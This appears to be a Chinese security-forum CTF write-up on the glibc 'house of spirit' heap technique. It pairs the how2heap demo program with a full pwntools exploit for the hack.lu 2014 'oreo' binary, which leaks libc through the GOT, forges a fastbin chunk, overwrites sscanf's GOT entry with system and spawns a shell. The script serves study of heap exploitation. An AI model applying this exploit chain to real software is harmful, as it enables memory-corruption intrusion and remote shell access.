一
House of spirit
二
How2heap的例子
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>int main()
{
setbuf(stdout, NULL);puts("This file demonstrates the house of spirit attack.");
puts("This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write.");
puts("Required primitives: known target address, ability to set up the start/end of the target memory");puts("\nStep 1: Allocate 7 chunks and free them to fill up tcache");
void *chunks[7];
for(int i=0; i<7; i++) {
chunks[i] = malloc(0x30);
}
for(int i=0; i<7; i++) {
free(chunks[i]);
}puts("\nStep 2: Prepare the fake chunk");
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
long fake_chunks[10] __attribute__ ((aligned (0x10)));
printf("The target fake chunk is at %p\n", fake_chunks);
printf("It contains two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[9]);
printf("This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
puts("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.");
printf("Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\n", &fake_chunks[1]);
fake_chunks[1] = 0x40; // this is the sizeprintf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
printf("Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\n", &fake_chunks[9]);
fake_chunks[9] = 0x1234; // nextsizeputs("\nStep 3: Free the first fake chunk");
puts("Note that the address of the fake chunk must be 16-byte aligned.\n");
void *victim = &fake_chunks[2];
free(victim);puts("\nStep 4: Take out the fake chunk");
printf("Now the next calloc will return our fake chunk at %p!\n", &fake_chunks[2]);
printf("malloc can do the trick as well, you just need to do it for 8 times.");
void *allocated = calloc(1, 0x30);
printf("malloc(0x30): %p, fake chunk: %p\n", allocated, victim);assert(allocated == victim);
}
long fake_chunks[10] __attribute__ ((aligned (0x10)));
写法是告诉编译器给我的内存地址要是0x10对齐的。This file demonstrates the house of spirit attack.
This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write.
Required primitives: known target address, ability to set up the start/end of the target memoryStep 1: Allocate 7 chunks and free them to fill up tcache
Step 2: Prepare the fake chunk
The target fake chunk is at 0x7ffd6b3df200
It contains two chunks. The first starts at 0x7ffd6b3df208 and the second at 0x7ffd6b3df248.
This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.
... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.
Now set the size of the chunk (0x7ffd6b3df208) to 0x40 so malloc will think it is a valid chunk.
The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.
Set the size of the chunk (0x7ffd6b3df248) to 0x1234 so freeing the first chunk can succeed.Step 3: Free the first fake chunk
Note that the address of the fake chunk must be 16-byte aligned.Step 4: Take out the fake chunk
Now the next calloc will return our fake chunk at 0x7ffd6b3df210!
malloc can do the trick as well, you just need to do it for 8 times.malloc(0x30): 0x7ffd6b3df210, fake chunk: 0x7ffd6b3df210
MALLOC_ALIGNMENT
对齐的。具体的,默认情况下32位地址必须8字节对齐,64位16字节对齐。MINSIZE
,即其值默认最少不低于2SIZE_SZ(32位8字节,64位16字节),并且*不大于av->system_mem(system_mem默认128kb)。三
2014 hack.lu oreo
[email protected]:~/ctf/fastbin_attack$ checksec oreo
[*] '/home/cxing/ctf/fastbin_attack/oreo'
Arch: i386-32-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8046000)
[email protected]:~/ctf/fastbin_attack$ ldd oreo
linux-gate.so.1 (0xf7f29000)
/home/cxing/glibc-all-in-one-master/libs/2.23-0ubuntu3_i386/libc-2.23.so (0xf7d6d000)
/home/cxing/glibc-all-in-one-master/libs/2.23-0ubuntu3_i386/ld-2.23.so => /lib/ld-linux.so.2 (0xf7f2b000)
[email protected]:~/ctf/fastbin_attack$ ./oreo
Welcome to the OREO Original Rifle Ecommerce Online System!,______________________________________
|_________________,----------._ [____] -,__ __....-----=====
(_(||||||||||||)___________/ |
`----------' OREO [ ))"-, |
"" `, _,--....___ |
`/ """"What would you like to do?
1. Add new rifle
2. Show added rifles
3. Order selected rifles
4. Leave a Message with your Order
5. Show current stats
6. Exit!
Action: 1
Rifle name: 123
Rifle description: 123
Action: 2
Rifle to be ordered:
===================================
Name: 123
Description: 123
===================================
Action:
typedef struct _Rifile {
char desc[25]; // write on add (only one time), print on show
char name[27]; // write on add (only one time), print on show
// 0x34
Rifile* next; // can cover on add, and free(next) on order
}Rifile; // fastbin chunk 0x40, and write out of bounds
.bss:0804A288 ; Order+50↑w
.bss:0804A28C ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+align 20h
.bss:0804A2A0 ; _DWORD order_count
.bss:0804A2A0 ?? order_count db ? ; DATA XREF: Order+5A↑r
.bss:0804A2A0 ; Order+62↑w
.bss:0804A2A0 ; Stats+32↑r
.bss:0804A2A0 ; main+1F↑w
.bss:0804A2A1 ?? db ? ;
.bss:0804A2A2 ?? db ? ;
.bss:0804A2A3 ?? db ? ;
.bss:0804A2A4 ; _DWORD obj_count
.bss:0804A2A4 ?? ?? ?? ?? obj_count dd ? ; DATA XREF: Add+C5↑r
.bss:0804A2A4 ; Add+CD↑w
.bss:0804A2A4 ; Order+19↑r
.bss:0804A2A4 ; Stats+1D↑r
.bss:0804A2A4 ; main+15↑w
.bss:0804A2A8 ; char *order_note_ptr
.bss:0804A2A8 ?? ?? ?? ?? order_note_ptr dd ? ; DATA XREF: Leave+23↑r
.bss:0804A2A8 ; Leave+3C↑r
.bss:0804A2A8 ; Stats+47↑r
.bss:0804A2A8 ; Stats+53↑r
.bss:0804A2A8 ; main+29↑w
.bss:0804A2AC ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+db 14h dup(?)
.bss:0804A2C0 ?? bss_write db ? ; ; DATA XREF: main+29↑o
.bss:0804A2C1 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+db 23h dup(?)
.bss:0804A2E4 ?? next_chunk db ? ;
.bss:0804A2E5 ?? db ? ;
.bss:0804A2E6 ?? db ? ;
.bss:0804A2E7 ?? db ? ;
.bss:0804A2E8 ?? db ? ;
'''
typedef struct _Rifile {
char desc[25]; // printf
char name[27]; // printf
// 0x34
Rifile* next; // 劫持next指针只能任意地址读, free(next)
}Rifile; // fastbin 0x40, house of spirit
堆溢出:
add函数存在溢出,可以覆盖至Rifile结构的next指针
任意地址读:
add的时候,劫持next指针,调用show可以实现任意地址读
House of spirit:
劫持next指针后,若可以控制一块内存,将next指针指向该内存可以构造fake chunk
任意地址写:
可以劫持next指针进行house of spirit,再malloc回来,即可再next指针指向的位置实现任意写,但只有一次写的机会
0x0804A2A8的指针变量order_note_ptr是一个可写的指针,并且其上下的内存我们可以控制
劫持控制流:
在任意地址写的基础上,写__isoc99_sscanf的got表为system'''
from pwn import *context(os='linux', arch='i386', log_level='debug')
context.binary = './oreo'
context.terminal = ['tmux', 'sp', '-h']io = process("./oreo")
libc = ELF("/home/cxing/glibc-all-in-one-master/libs/2.23-0ubuntu3_i386/libc-2.23.so")
elf = ELF("./oreo")def add(desc: bytes, name: bytes):
io.sendline(b'1')
io.sendline(name)
io.sendline(desc)def order():
io.sendline('3')def Leave(data:bytes):
io.sendline(b'4')
io.sendline(data)# 在任意地址读的基础上,泄露puts函数的got表指针,即可泄露libc
desc = b"a"
name = b"a"*27 + p32(elf.got['puts'])
add(desc, name)
io.sendline(b'2')
io.recvuntil("===================================\n")
io.recvuntil("===================================\n")
_ = io.recvline()
libc_base = u32(io.recvline()[13:13+4]) - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
log.success(f"libc_base = {hex(libc_base)}")# house of spirit: obj_count write 0x41,然后order free掉,再add malloc回来,然后写order_note_ptr为___isoc99_sscanf got表
i = 1
for _ in range(0x40 - 1):
add(b"aaa", b'aaa')add(b"a", b"a"*27 + p32(0x0804a2a8)) # next指针指向fake ,此时size为0x41
# 调用leave构造fake chunk的next chunk
payload = 0x24 * b'\x00' + p32(0x41)
Leave(payload)
order()
add(p32(elf.got['__isoc99_sscanf']), b"123")
# getshell
payload = p32(system_addr)
Leave(payload)
io.sendline("/bin/sh\x00")
io.interactive()
看雪ID:Cx1ng
https://bbs.kanxue.com/user-home-921065.htm
# 往期推荐
3、安卓加固脱壳分享
球分享
球点赞
球在看